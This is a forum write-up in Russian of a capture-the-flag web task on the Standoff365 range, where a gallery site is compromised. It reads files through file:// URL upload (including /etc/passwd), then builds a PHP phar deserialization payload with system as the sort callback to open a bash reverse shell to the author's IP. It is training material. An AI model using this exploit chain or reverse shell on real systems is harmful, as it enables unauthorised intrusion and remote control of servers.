Writeup [web-8] Удаленное выполнение кода (RCE) на узле gallery.edu.stf (standoff365)

Описание
Получите RCE на узле gallery.edu.stf (10.124.1.236).
Для получения флага выполните скрипт /home/rceflag.

1. Чтение файлов через функцию загрузки по URL: Используйте функцию загрузки новых картинок в галерее через URL. Уязвимость может возникнуть из-за использования функции copy() без должной фильтрации. Есть возможность скопировать произвольный файл в папку images с расширением txt и затем прочитать его. Примеры payload: file:///etc/passwd ./ajax.php ./classes.php

2. Использование метода destruct в классе ImageSorting: Обратите внимание на метод destruct в классе ImageSorting, который вызывается при уничтожении объекта. Этот метод позволяет перезаписать переменные $ImageArr и $SortFunc, которые в дальнейшем используются в функции usort() для сортировки массива. Есть возможность прочитать файл classes.php, создать phar-архив с объектом, который модифицирует переменные таким образом, чтобы они вызвали выполнение произвольного кода при десериализации.

3. Эксплуатация десериализации через созданный phar-архив: Создайте phar-архив с объектом, который перезаписывает переменные $ImageArr и $SortFunc. Используйте загрузку по URL в галерее, чтобы загрузить созданный phar-архив. При загрузке архива происходит его десериализация, что приводит к выполнению произвольного кода из $SortFunc. Убедитесь, что переменная $SortFunc установлена на system, чтобы выполнять системные команды.

Тестируем сайт, пробуем загрузить картинки и смотрим поведение.

Пытаемся загрузить вместо урла картинки file:///etc/passwd

1773367102322.webp


Сразу отправляем запрос в burp в repeater для удобства, он нам понадобится еще ни раз.
1773367146605.webp


Переходим посмотреть что там за txt пришел в ответе.
1773367172930.webp


Пол успеха в кармане. Теперь пробуем найти файлы из первой подсказки ./classes.php, ./ajax.php.
Перебираем варианты, сработал file:///var/www/html/classes.php.
По новой полученной ссылки в ответе видим classes.php
1773367248950.webp


Проблема в строке usort($ImageArr, $SortFunc). В PHP второй параметр функции usort это имя функции, значит при большом желании мы можем вставить туда функцию system(), которая выполнит команду Linux.

Подсказка гласит:
создать phar-архив с объектом, который модифицирует переменные таким образом, чтобы они вызвали выполнение произвольного кода при десериализации.

Я поняла это так: когда PHP открывает файл через phar:// он автоматически делает unserialize и нам нужно создать объект ImageSorting, где SortFunc будет "system". Тогда при уничтожении объекта выполнится usort(..., "system"). А вместо ImageArr попробуем запустить интерактивный shell
Код:
public $ImageArr = array("bash -c 'bash -i >& /dev/tcp/10.127.192.45/4444 0>&1'", "" , "");

Вместо 10.127.192.45 пишите свой IP (и порт, если будете использовать не 4444 для nc). IP можно найти по ip a.

У себя создаем файл php, например phar.php.

PHP:
<?php
ini_set('phar.readonly', 0);

class ImageSorting {
    public $ImageArr = ["bash -c 'bash -i >& /dev/tcp/10.127.192.45/4444 0>&1'", ""];
    public $SortFunc = "system";
}

$phar = new Phar('payload.phar');
$phar->startBuffering();
$phar->addFromString('empty.txt', '');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new ImageSorting());
$phar->stopBuffering();
?>

Запускаем сборку phar файла
php -d phar.readonly=0 phar.php

Появился файл payload.phar.
Открываем порт 4444 (или другой вам удобный) и слушаем его nc -lvnp 4444 (с папки где лежит payload.phar).

Готовый файл phar загружаем на сайт через форму загрузки.
1773368199347.webp


Берем ответ и формируем из него запрос phar:///var/www/html/images/....txt
1773368259415.webp


Смотрим реакцию листенера - открылся шелл.
1773368302445.webp


Долгожданный запуск ./home/rceflag и получение флага.
1773368368138.webp
 
  • Нравится
Реакции: Luxkerr и JackSparrow
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab